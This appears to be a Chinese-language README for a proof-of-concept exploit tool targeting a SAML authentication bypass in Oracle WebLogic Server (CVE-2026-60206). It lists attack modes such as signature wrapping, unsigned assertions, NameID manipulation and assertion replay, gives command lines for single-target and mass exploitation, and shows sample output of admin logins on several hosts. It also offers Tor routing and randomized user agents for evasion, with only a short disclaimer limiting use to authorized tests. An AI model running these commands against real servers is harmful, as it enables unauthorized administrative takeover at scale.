该仓库提供了针对 CVE-2026-60206 的概念验证利用代码,这是 Oracle WebLogic Server SAML 实现中的一个关键认证绕过漏洞。该漏洞允许远程低权限攻击者通过伪造 SAML 断言完全入侵服务器。
⚠️ 免责声明: 本工具仅限授权的安全研究和测试使用。仅可对您拥有或获得明确许可的系统进行测试。作者不对滥用行为承担任何责任。
CVE-2026-60206 影响 Oracle WebLogic Server 的核心组件。该漏洞源于 SAML 协议实现中的不当认证处理。多种攻击向量——如 XML 签名封装(XSW)、接受未签名断言、NameID 操纵以及受众/条件绕过——使攻击者能够冒充任意用户(例如 weblogic)并获得管理员访问权限。
受影响版本:
PoC 实现以下攻击向量:
WantAssertionsSigned)。AudienceRestriction 以扩大范围。NotBefore/NotOnOrAfter 以绕过有效期检查。all、unsigned、xsw、nameid、audience、conditions、combo 或 replay 中选择。-l)。-r)发送任意原始 HTTP 请求。httpx 则自动使用,否则回退至 requests(HTTP/1.1)。git clone https://github.com/Debajyoti0-0/CVE-2026-60206.git
cd CVE-2026-60206
pip install -r requirements.txt
必需: requests, urllib3
可选(增强功能):
httpx – 用于 HTTP/2 支持lxml – 用于增强的 SAML 解析signxml, cryptography – 用于签名处理(非利用必需)python CVE-2026-60206.py -t https://192.168.1.100:7002 --detect
python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode all -u weblogic
python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode combo -u admin
python CVE-2026-60206.py -l targets.txt -o results.json
python CVE-2026-60206.py -l targets.txt --exploit -o results.csv --threads 20
python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode replay --replay-file captured.xml
python CVE-2026-60206.py -t https://192.168.1.100:7002 --tor --check-tor
python CVE-2026-60206.py -t https://192.168.1.100:7002 -r request.txt --method POST
python CVE-2026-60206.py -t https://192.168.1.100:7002 -c
| 标志 | 描述 |
|---|---|
-t, --target TARGET | 单个目标 URL(例如 https://host:7002)。 |
-l, --list LIST | 批量扫描的目标列表文件,或单个 URL。 |
-f, --file FILE | --list 的别名。 |
-l 一起使用):| 标志 | 描述 |
|---|---|
--exploit | 测试未签名 SAML 断言(默认:仅检测)。 |
-T, --threads THREADS | 并发线程数(默认:10)。 |
| 标志 | 描述 |
|---|---|
-v, --verbose | 增加详细程度(调试输出)。 |
-q, --quiet | 抑制非关键输出。 |
--list-modes | 列出所有攻击模式及描述并退出。 |
detect执行版本检测和 SAML 端点探测。不发起攻击。
unsigned注入一个完全未签名的 SAML 断言。若目标未强制执行 WantAssertionsSigned,则可完全绕过认证。
变体: unsigned(默认),unsigned_stripped(删除所有签名引用)。
xsw(XML 签名封装)将恶意的未签名断言放置在有效签名断言之前(或包裹在其周围)。SAML 处理器可能选择第一个断言,而签名验证器则检查已签名的那一个。
变体: xsw1(简单前置),xsw2(使用与原始相同的 ID),xsw3(嵌套包裹),xsw4(同级)。
nameid操纵 NameID 字段以混淆 WebLogic 的身份映射器,从而冒充其他用户。
变体: comment_injection,whitespace,format_confusion,xpath_injection。
audience通过删除或修改 audience 元素绕过 AudienceRestriction 检查。
变体: remove_audience,wildcard_audience,extra_audience。
conditions绕过基于时间的限制(如 NotBefore、NotOnOrAfter)。
变体: future_timestamp,expired_timestamp,remove_conditions,infinite_validity。
combo将 XSW、未签名断言和 NameID 操纵组合到一个 payload 中——最可能实现完全入侵的向量。
变体: combo_full(带注释注入),combo_stealth(带换行符)。
replay重放先前捕获的 SAML 响应,可选修改目标或删除受众限制。
变体: replay_modified(调整 Destination/Recipient),replay_cross_sp(删除受众限制)。
$ python CVE-2026-60206.py -t https://192.168.1.100:7002 -u weblogic --mode combo
╔══════════════════════════════════════════════════════════════════════╗
║ CVE-2026-60206 — WebLogic SAML 认证绕过 PoC ║
║ Oracle WebLogic Server Core | CVSS 9.9 | CWE-287 ║
╚══════════════════════════════════════════════════════════════════════╝
🔍 检测 WebLogic 版本和 SAML 配置...
检测到 WebLogic 版本:12.2.1.4.0
⚠️ 版本 12.2.1.4.0 在 CVE-2026-60206 影响范围内!
发现 SAML 元数据:/saml2/sp/metadata
发现 SAML ACS:/saml2/sp/acs(HTTP 200)
============================================================
🚀 启动全面 SAML 攻击套件
目标:https://192.168.1.100:7002
目标用户:weblogic
============================================================
── 攻击 1/2 ──
🎯 [combo/combo_full] 对用户 weblogic 发动组合攻击
✅ [combo/combo_full] 认证绕过成功!登录为:weblogic
ACS 端点:/saml2/sp/acs
── 攻击 2/2 ──
🎯 [combo/combo_stealth] 对用户 weblogic 发动组合攻击
✅ [combo/combo_stealth] 认证绕过成功!登录为:weblogic
ACS 端点:/saml2/sp/acs
============================================================
📊 结果:2/2 个攻击向量成功
============================================================
利用成功!2 次攻击绕过了认证。
- [combo/combo_full] → 通过 /saml2/sp/acs 登录为 'weblogic'
- [combo/combo_stealth] → 通过 /saml2/sp/acs 登录为 'weblogic'
📄 报告已保存:logs/report_20260725_123456.json
$ python CVE-2026-60206.py -l targets.txt --exploit -o scan_results.csv --threads 10
============================================================
CVE-2026-60206 批量扫描器
目标数:50
线程数:10
模式: 利用
============================================================
[10/50] 20.0% | 漏洞:3 | 已攻破:1 | 1.2 目标/秒
[!] 漏洞:https://10.0.0.5:7002 (12.2.1.4.0)
[!!] 已攻破:https://10.0.0.5:7002 - 登录为 weblogic
...(继续)...
============================================================
扫描摘要
============================================================
总目标数: 50
可达目标: 45
WebLogic: 12
易受攻击版本:8
已利用: 3
耗时: 42.5秒
============================================================
[!!] 成功利用:
https://10.0.0.5:7002 → weblogic 通过 /saml2/sp/acs
https://10.0.0.10:7002 → weblogic 通过 /saml2/sp/acs
https://10.0.0.15:7002 → weblogic 通过 /saml2/sp/acs
[!] 易受攻击版本(尚未利用):
https://10.0.0.20:7002 (14.1.1.0.0)
https://10.0.0.25:7002 (15.1.1.0.0)
...(截断)
要安全地测试此 PoC,请设置一个启用了 SAML 且运行受影响版本之一的 WebLogic Server。例如,您可以使用 Docker:
# 示例(简化 – 使用官方 Oracle WebLogic 映像并配置 SAML)
docker run -p 7002:7002 container-registry.oracle.com/middleware/weblogic:12.2.1.4
# 然后通过 WebLogic 控制台或脚本配置 SAML
SAML 配置必须至少包含一个 SAML 2.0 服务提供者,该提供者拥有 ACS 端点(例如 /saml2/sp/acs)并发布了元数据。
本项目采用 GNU v3.0 许可证 – 详见 LICENSE 文件。
欢迎提交 Issue 和 Pull Request。请确保您的贡献遵循相同的道德使用准则。
请牢记: 在测试任何安全工具之前,务必获得适当授权。保持道德!
--save-payloads)。-c / --check) – 快速判断目标是否存在漏洞(非利用)。| 标志 | 描述 |
|---|
-h, --help | 显示帮助信息并退出。 |
--proxy PROXY | 代理 URL(若使用了 --tor 则会被覆盖)。 |
--no-verify | 禁用 SSL 证书验证。 |
--cookie COOKIE | 会话 Cookie(例如 name=value; name2=value2)。 |
--auth AUTH | 基本认证凭据(USER:PASS)。 |
| 标志 | 描述 |
|---|
-r, --requestfile REQUESTFILE | 从文件加载原始 HTTP 请求(替换 SAML 攻击)。 |
--method METHOD | 要使用的 HTTP 方法(用于原始请求或单个请求;默认:GET)。 |
--random-agent | 使用内置列表中的随机 User-Agent。 |
-A, --user-agent USER_AGENT | 自定义 User-Agent 头值。 |
--tor | 使用 Tor 匿名网络(默认 SOCKS5)。 |
--tor-port TOR_PORT | Tor 代理端口(默认:9050)。 |
--tor-type {HTTP,SOCKS4,SOCKS5} | Tor 代理类型(默认:SOCKS5)。 |
--check-tor | 检查 Tor 是否正常使用(输出判断结果后退出)。 |
--delay DELAY | 每次请求之间的延迟秒数。 |
--timeout TIMEOUT | 超时秒数(默认:30)。 |
--retries RETRIES | 超时/错误时的重试次数(默认:3)。 |
--retry-on RETRY_ON | 当响应内容匹配正则表达式时重试(例如 'captcha')。 |
-dr, --disable-redirects | 禁止跟随 HTTP 重定向。 |
| 标志 | 描述 |
|---|
-m, --mode {all,detect,unsigned,xsw,nameid,audience,conditions,combo,replay} | 攻击模式(默认:all)。 |
--detect | 仅检测 WebLogic 版本和 SAML 配置(不发起攻击)。 |
-c, --check | 快速漏洞检查(仅检测,输出判断结果后退出)。 |
-u, --user USER | 要冒充的目标用户(默认:weblogic)。 |
--groups GROUPS | 要包含在 SAML 断言中的组(默认:Administrators,Monitors)。 |
--issuer ISSUER | SAML 签发方实体 ID。 |
--audience AUDIENCE | SAML 受众实体 ID。 |
--relay-state RELAY_STATE | SAML POST 的 RelayState 参数。 |
--base64 | 对 POST 中的 SAML 响应进行 Base64 编码。 |
--extra-attrs [NAME=VALUE ...] | 额外的 SAML 属性(例如 role=admin)。 |
--replay-file REPLAY_FILE | 用于重放的捕获 SAML 响应文件路径。 |
--save-payloads | 将生成的 SAML payload 保存到 ./payloads/。 |
--continue-on-success | 成功攻击后继续测试。 |
-o, --output OUTPUT | 将 JSON 或 CSV 报告写入文件。 |